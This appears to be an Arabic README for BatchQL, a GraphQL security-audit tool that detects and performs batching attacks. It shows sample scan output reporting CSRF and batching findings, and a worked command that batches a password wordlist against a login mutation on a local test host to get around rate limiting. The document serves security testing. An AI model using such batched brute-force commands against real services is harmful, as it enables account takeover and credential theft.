
نص تدقيق أمني لـ GraphQL مع التركيز على تنفيذ استعلامات وطفرات GraphQL دفعة واحدة.
BatchQL هي أداة تدقيق أمني لـ GraphQL تركز على تنفيذ استعلامات وتحويرات مجمعة (batch queries and mutations). هذه الأداة ليست معقدة، ونرحب بتحسيناتها.
عند استكشاف مجال هجمات التجميع (batching attacks) في GraphQL، وجدنا أن هناك عددًا قليلًا من المقالات على الإنترنت، ولكن لا توجد أداة لتنفيذ هجمات تجميع GraphQL.
يمكن أن تكون هجمات تجميع GraphQL خطيرة جدًا اعتمادًا على الوظائف المنفذة. على سبيل المثال، تخيل وظيفة إعادة تعيين كلمة المرور التي تتوقع رمزًا مكونًا من 4 أرقام تم إرساله إلى بريدك الإلكتروني. باستخدام هذه الأداة، يمكنك محاولة جميع محاولات الرموز العشرة آلاف في استعلام GraphQL واحد. قد يتجاوز هذا أي حد لمعدل الطلبات أو قفل الحساب اعتمادًا على تفاصيل تنفيذ تدفق إعادة تعيين كلمة المرور.
هذه الأداة قادرة على اكتشاف ما يلي:
حاليًا، تدعم هذه الأداة فقط إرسال الاستعلامات المستندة إلى قائمة JSON لهجمات التجميع. وهي تدعم السيناريوهات التي تكون فيها المتغيرات مضمنة في الاستعلام، أو حيث يتم توفيرها في الإدخال JSON.
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
اقتراحات المخطط مفعلة. استخدم Clairvoyance لاستعادة المخطط: https://github.com/nikitastupin/clairvoyance
CSRF المستند إلى GET ناجح. يرجى التأكد من أن هذه مشكلة صحيحة.
CSRF المستند إلى POST ناجح. يرجى التأكد من أن هذه مشكلة صحيحة.
التجميع بناءً على اسم الاستعلام: تجميع GraphQL ممكن... طلب الفحص الأولي ناجح.
التجميع بناءً على قائمة JSON للاستعلام: تجميع GraphQL ممكن... طلب الفحص الأولي ناجح.
معظمها يوفر الاستعلام، وقائمة الكلمات، والحجم لتنفيذ هجوم التجميع.
acc-login.txt:mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
الأمر أعلاه يقوم بما يلي:
--query acc-login.txt.--wordlist passwords.txt.-v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}.--size 100.-e http://re.local:5000/graphiql.-p localhost:8080.